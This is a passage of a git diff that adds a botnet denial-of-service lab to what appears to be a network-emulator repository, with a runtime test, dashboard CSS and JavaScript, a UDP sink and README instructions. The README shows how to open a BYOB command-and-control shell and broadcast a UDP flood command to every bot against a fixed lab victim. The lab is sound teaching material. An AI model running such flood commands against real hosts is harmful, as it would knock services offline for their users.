interval=1, + ) + + if legitimate_client: + test.exec_check( + "health probe API serves latency and goodput samples with CORS", + legitimate_client, + "python3 -c \"import json,urllib.request; " + "r=urllib.request.urlopen('http://127.0.0.1:8080/api/health'); " + "assert r.headers['Access-Control-Allow-Origin'] == '*', r.headers; " + "d=json.load(r); assert d['sample_count'] >= 2, d; " + "assert d['bandwidth_sample_count'] >= 1, d\"", + retries=30, + interval=2, + ) + + if bots and victim: + test.exec_check( + "one bot can send a tiny smoke stream to the fixed victim", + bots[0], + "python3 /opt/botnet-dos/bot_attack.py --duration 0.2 --pps 5 " + "--packet-size 64 --json >/dev/null", + retries=10, + interval=2, + ) + test.exec_check( + "victim visualizer observes the smoke stream", + victim, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/stats')); " + "assert d['total_packets'] >= 1, d\"", + retries=10, + interval=1, + ) + + test.write_summary("y13-botnet-dos-runtime-test.json") + return test.exit_code() + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_config.json b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_config.json new file mode 100644 index 000000000..fb9e4e457 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_config.json @@ -0,0 +1,24 @@ +{ + "interface": "any", + "capture_filter": "dst host 10.151.0.71 and udp dst port 9000", + "web_host": "0.0.0.0", + "web_port": 8080, + "frontend": { + "title": "Botnet Denial-of-Service Attack", + "subtitle": "Distributed UDP traffic arriving at the victim", + "accent_color": "#a78bfa", + "extension_js": "traffic_visualizer_extension.js", + "extension_css": "traffic_visualizer_extension.css", + "options": { + "bot_count": 8, + "bot_pps": 200, + "udp_payload_bytes": 1200, + "victim_address": "10.151.0.71:9000", + "health_api_port": 8082, + "impact_latency_warning_ms": 150, + "impact_stale_seconds": 4, + "impact_chart_max_ms": 500, + "impact_bandwidth_stale_seconds": 12 + } + } +} diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.css b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.css new file mode 100644 index 000000000..5db5c7991 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.css @@ -0,0 +1,169 @@ +.botnet-panel, +.impact-panel { + padding: 20px; + border: 1px solid #293a50; + border-radius: 12px; + background: #0d1929; +} + +.impact-panel { margin-top: 14px; } + +.botnet-heading, +.impact-heading { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; +} + +.botnet-heading strong, +.impact-heading strong { + display: block; + margin-top: 5px; + font-size: 20px; +} + +.attack-state, +.impact-status { + padding: 7px 11px; + border: 1px solid currentColor; + border-radius: 999px; + font-size: 12px; + font-weight: 800; + letter-spacing: .08em; +} + +.attack-state.idle, +.impact-status.waiting { color: #94a3b8; background: #172033; } +.attack-state.active { color: #c4b5fd; background: #2e1065; } +.impact-status.healthy { color: #4ade80; background: #052e1a; } +.impact-status.degraded { color: #facc15; background: #352a05; } +.impact-status.unreachable { color: #f87171; background: #3f1010; } + +.bot-field { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 11px; + min-height: 62px; + margin: 18px 0; + padding: 13px; + border-radius: 10px; + background: #081321; +} + +.bot-node { + position: relative; + display: inline-block; + width: 34px; + height: 38px; + opacity: .45; + transform-origin: center bottom; +} + +.bot-head { + position: absolute; + top: 0; + left: 8px; + width: 18px; + height: 17px; + border: 2px solid #a78bfa; + border-radius: 5px; + background: #241544; +} + +.bot-head::before, +.bot-head::after { + content: ''; + position: absolute; + top: 6px; + width: 3px; + height: 3px; + border-radius: 50%; + background: #ddd6fe; +} + +.bot-head::before { left: 3px; } +.bot-head::after { right: 3px; } + +.bot-body { + position: absolute; + bottom: 0; + left: 4px; + width: 26px; + height: 17px; + border: 2px solid #7c3aed; + border-radius: 5px 5px 3px 3px; + background: #1e1640; +} + +.bot-field.active .bot-node { + opacity: 1; + animation: bot-pulse .75s ease-in-out infinite alternate; + animation-delay: var(--delay); +} + +@keyframes bot-pulse { + from { transform: translateY(0); filter: drop-shadow(0 0 0 #a78bfa); } + to { transform: translateY(-5px); filter: drop-shadow(0 0 7px #a78bfa); } +} + +.bot-remainder { color: #c4b5fd; font-weight: 700; } +.botnet-details .extension-card { border-left: 3px solid var(--accent); } +.botnet-details .extension-value { font-size: 18px; line-height: 1.35; } +.target-line { margin-top: 14px; color: #94a3b8; font-size: 13px; } +.target-line strong { color: #c4b5fd; } + +.impact-metrics { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(125px, 1fr)); + gap: 10px; + margin: 18px 0; +} + +.impact-metrics > div { + padding: 14px; + border-radius: 9px; + background: #121f32; +} + +.impact-metrics strong { + display: block; + margin-top: 6px; + color: var(--accent); + font-size: 22px; +} + +.timeline-label { margin-bottom: 8px; } +.bandwidth-label { margin-top: 16px; } + +.probe-timeline { + display: flex; + align-items: end; + gap: 3px; + height: 72px; + padding: 8px; + border-radius: 8px; + background: #081321; +} + +.probe-sample { + flex: 1; + min-width: 3px; + max-width: 18px; + border-radius: 3px 3px 1px 1px; +} + +.probe-sample.success { background: #a78bfa; } +.probe-sample.bandwidth-success { background: #4ade80; } +.probe-sample.failure { background: #ef4444; } +.timeline-empty { margin: auto; color: #64748b; font-size: 13px; } + +@media (max-width: 560px) { + .impact-metrics { grid-template-columns: 1fr; } + .botnet-heading, .impact-heading { align-items: flex-start; } +} + +@media (prefers-reduced-motion: reduce) { + .bot-field.active .bot-node { animation: none; } +} diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.js new file mode 100644 index 000000000..cd1569263 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.js @@ -0,0 +1,219 @@ +(() => { + let botField; + let observedRate; + let averageSize; + let serviceStatus; + let serviceLatency; + let serviceSuccessRate; + let serviceFailures; + let serviceThroughput; + let serviceAverageThroughput; + let serviceTimeline; + let bandwidthTimeline; + let impactConfig; + + function setStatus(label, className) { + serviceStatus.textContent = label; + serviceStatus.className = `impact-status ${className}`; + } + + function showWaiting() { + setStatus('WAITING', 'waiting'); + serviceLatency.textContent = '--'; + serviceSuccessRate.textContent = '--'; + serviceFailures.textContent = '0'; + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; + serviceTimeline.innerHTML = 'Waiting for the legitimate client'; + bandwidthTimeline.innerHTML = 'Waiting for the first bandwidth probe'; + } + + function updateImpact(impact) { + if (impact?.probe_api_error) { + showWaiting(); + setStatus('PROBE OFFLINE', 'unreachable'); + return; + } + if (!impact || !impact.sample_count) { + showWaiting(); + return; + } + + const stale = impact.last_probe_age_seconds > impactConfig.impact_stale_seconds; + const highLatency = impact.latest_latency_ms >= impactConfig.impact_latency_warning_ms; + const staleBandwidth = impact.bandwidth_sample_count + && impact.last_bandwidth_age_seconds > impactConfig.impact_bandwidth_stale_seconds; + if (stale) { + setStatus('UNREACHABLE', 'unreachable'); + } else if (impact.latest_success === false) { + setStatus('FAILED', 'unreachable'); + } else if ( + impact.success_rate < 100 + || highLatency + || impact.latest_bandwidth_success === false + || staleBandwidth + ) { + setStatus('DEGRADED', 'degraded'); + } else { + setStatus('HEALTHY', 'healthy'); + } + + serviceLatency.textContent = impact.latest_latency_ms === null + ? 'Timeout' + : `${impact.latest_latency_ms.toFixed(1)} ms`; + serviceSuccessRate.textContent = `${impact.success_rate.toFixed(1)}%`; + serviceFailures.textContent = String(impact.failure_count); + if (!impact.bandwidth_sample_count) { + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; + } else { + serviceAverageThroughput.textContent = impact.average_throughput_mbps === null + ? '--' + : `${impact.average_throughput_mbps.toFixed(2)} Mbps`; + serviceThroughput.textContent = staleBandwidth + ? 'Stale' + : impact.latest_bandwidth_success === false + ? 'Failed' + : `${impact.latest_throughput_mbps.toFixed(2)} Mbps`; + } + + serviceTimeline.replaceChildren(); + impact.samples.slice(-30).forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.success ? 'probe-sample success' : 'probe-sample failure'; + const percent = sample.success + ? Math.max(6, Math.min(sample.latency_ms / impactConfig.impact_chart_max_ms, 1) * 100) + : 100; + bar.style.height = `${percent}%`; + bar.title = sample.success ? `${sample.latency_ms.toFixed(1)} ms` : 'Failed'; + serviceTimeline.appendChild(bar); + }); + + bandwidthTimeline.replaceChildren(); + const samples = impact.samples + .filter((sample) => sample.bandwidth_success !== null) + .slice(-30); + if (!samples.length) { + bandwidthTimeline.innerHTML = 'Waiting for the first bandwidth probe'; + return; + } + const maximum = Math.max( + 1, + ...samples.filter((sample) => sample.bandwidth_success).map((sample) => sample.throughput_mbps), + ); + samples.forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.bandwidth_success + ? 'probe-sample bandwidth-success' + : 'probe-sample failure'; + bar.style.height = sample.bandwidth_success + ? `${Math.max(6, sample.throughput_mbps / maximum * 100)}%` + : '100%'; + bar.title = sample.bandwidth_success + ? `${sample.throughput_mbps.toFixed(2)} Mbps` + : 'Failed'; + bandwidthTimeline.appendChild(bar); + }); + } + + function createBots(count) { + const visibleCount = Math.min(count, 24); + botField.replaceChildren(); + for (let index = 0; index < visibleCount; index += 1) { + const bot = document.createElement('span'); + bot.className = 'bot-node'; + bot.title = `Configured bot ${index + 1}`; + bot.style.setProperty('--delay', `${(index % 8) * -0.11}s`); + bot.innerHTML = ''; + botField.appendChild(bot); + } + if (count > visibleCount) { + const remainder = document.createElement('span'); + remainder.className = 'bot-remainder'; + remainder.textContent = `+${count - visibleCount}`; + botField.appendChild(remainder); + } + } + + TrafficVisualizer.registerExtension({ + mount({root, config}) { + const botCount = Number(config.bot_count) || 0; + const botPps = Number(config.bot_pps) || 0; + const payloadBytes = Number(config.udp_payload_bytes) || 0; + const offeredLoad = Number(config.offered_load_mbps) || 0; + root.innerHTML = ` +
+
+
Command-and-control
Distributed bot activity
+ IDLE +
+
+
+
Configured bots
${botCount}
+
Default rate per bot
${botPps} pps
+
Default UDP payload
${payloadBytes} B
+
Default offered load
${offeredLoad.toFixed(2)} Mbps
+
Observed attack rate
0.00 Mbps
+
Average observed IP packet
0 B
+
+
Fixed lab target: ${config.victim_address}
+
+
+
+
Victim impact
Legitimate HTTP service
+ WAITING +
+
+
Current latency--
+
Recent success--
+
Failures0
+
Current goodput--
+
Average goodput--
+
+
Latency probes (higher is slower; red is failed)
+
+
Goodput probes (higher is better; red is failed)
+
+
`; + + impactConfig = { + impact_latency_warning_ms: Number(config.impact_latency_warning_ms) || 150, + impact_stale_seconds: Number(config.impact_stale_seconds) || 4, + impact_chart_max_ms: Number(config.impact_chart_max_ms) || 500, + impact_bandwidth_stale_seconds: Number(config.impact_bandwidth_stale_seconds) || 12, + }; + botField = root.querySelector('#bot-field'); + observedRate = root.querySelector('#observed-rate'); + averageSize = root.querySelector('#average-size'); + serviceStatus = root.querySelector('#impact-status'); + serviceLatency = root.querySelector('#impact-latency'); + serviceSuccessRate = root.querySelector('#impact-success-rate'); + serviceFailures = root.querySelector('#impact-failures'); + serviceThroughput = root.querySelector('#impact-throughput'); + serviceAverageThroughput = root.querySelector('#impact-average-throughput'); + serviceTimeline = root.querySelector('#impact-timeline'); + bandwidthTimeline = root.querySelector('#bandwidth-timeline'); + createBots(botCount); + showWaiting(); + }, + update(stats, {root, formatBytes}) { + const active = stats.packets_last_second > 0; + botField.classList.toggle('active', active); + const state = root.querySelector('#attack-state'); + state.textContent = active ? 'TRAFFIC ACTIVE' : 'IDLE'; + state.className = `attack-state ${active ? 'active' : 'idle'}`; + observedRate.textContent = `${(stats.ip_bytes_last_second * 8 / 1_000_000).toFixed(2)} Mbps`; + averageSize.textContent = formatBytes(stats.average_ip_packet_size); + updateImpact(stats.impact); + }, + reset({root}) { + botField.classList.remove('active'); + const state = root.querySelector('#attack-state'); + state.textContent = 'IDLE'; + state.className = 'attack-state idle'; + observedRate.textContent = '0.00 Mbps'; + averageSize.textContent = '0 B'; + showWaiting(); + }, + }); +})(); diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/udp_sink.py b/examples/yesterday_once_more/Y13_botnet_dos_attack/udp_sink.py new file mode 100644 index 000000000..8ce8a6078 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/udp_sink.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +"""Drain Y13 attack datagrams without producing reply traffic.""" + +from __future__ import annotations + +import argparse +import socket +import time + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run the Y13 victim UDP sink.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=9000) + return parser.parse_args() + + +def main() -> int: + args = parse_args() + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4 * 1024 * 1024) + sock.bind((args.host, args.port)) + sock.settimeout(1.0) + print(f"Y13 UDP sink listening on {args.host}:{args.port}", flush=True) + + packets = 0 + byte_count = 0 + sample_started = time.monotonic() + while True: + try: + payload, _source = sock.recvfrom(65535) + packets += 1 + byte_count += len(payload) + except socket.timeout: + pass + + now = time.monotonic() + if now - sample_started >= 1.0: + print(f"received packets={packets} payload_bytes={byte_count}", flush=True) + packets = 0 + byte_count = 0 + sample_started = now + + +if __name__ == "__main__": + raise SystemExit(main()) From 97169377863f32a1272a75f5d1db7f00a0e52cc0 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Mon, 20 Jul 2026 09:53:45 +0800 Subject: [PATCH 33/33] revised README --- .../Y13_botnet_dos_attack/README.md | 18 +++++------------- .../Y13_botnet_dos_attack/emulator.py | 0 2 files changed, 5 insertions(+), 13 deletions(-) mode change 100644 => 100755 examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md b/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md index b94749173..463cd9e37 100644 --- a/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md @@ -43,21 +43,13 @@ rate comes from IPv4 Total Length values reported by `tcpdump` on the victim. ## Build and start -From the repository root: +From the repository root, run the following program (the default +bot-count is eight bots). ```sh -python examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py \ - --platform amd \ - --output examples/yesterday_once_more/Y13_botnet_dos_attack/output - -docker compose -f examples/yesterday_once_more/Y13_botnet_dos_attack/output/docker-compose.yml up -d +python emulator.py --bot-count 12 ``` -The default is eight bots. A different count can be selected at compile time: - -```sh -python examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py --bot-count 12 -``` Bots are assigned round-robin across the candidate ASes. Counts greater than the number of candidate ASes create multiple bot hosts in some ASes. Y13 checks @@ -104,7 +96,7 @@ for these router containers. Enter the controller and display the prepared instructions: ```sh -docker exec -it hnode_150_bot-controller bash +docker compose -f output/docker-compose.yml exec -it hnode_150_bot-controller bash show-attack-command start-byob-shell ``` @@ -115,7 +107,7 @@ Inside the BYOB shell, first confirm that clients are enrolled: sessions ``` -Then invoke the preinstalled sender on every client: +Then invoke the pre-installed sender on every client: ```text broadcast python3 /opt/botnet-dos/bot_attack.py --duration 10 --pps 200 --packet-size 1200 diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py b/examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py old mode 100644 new mode 100755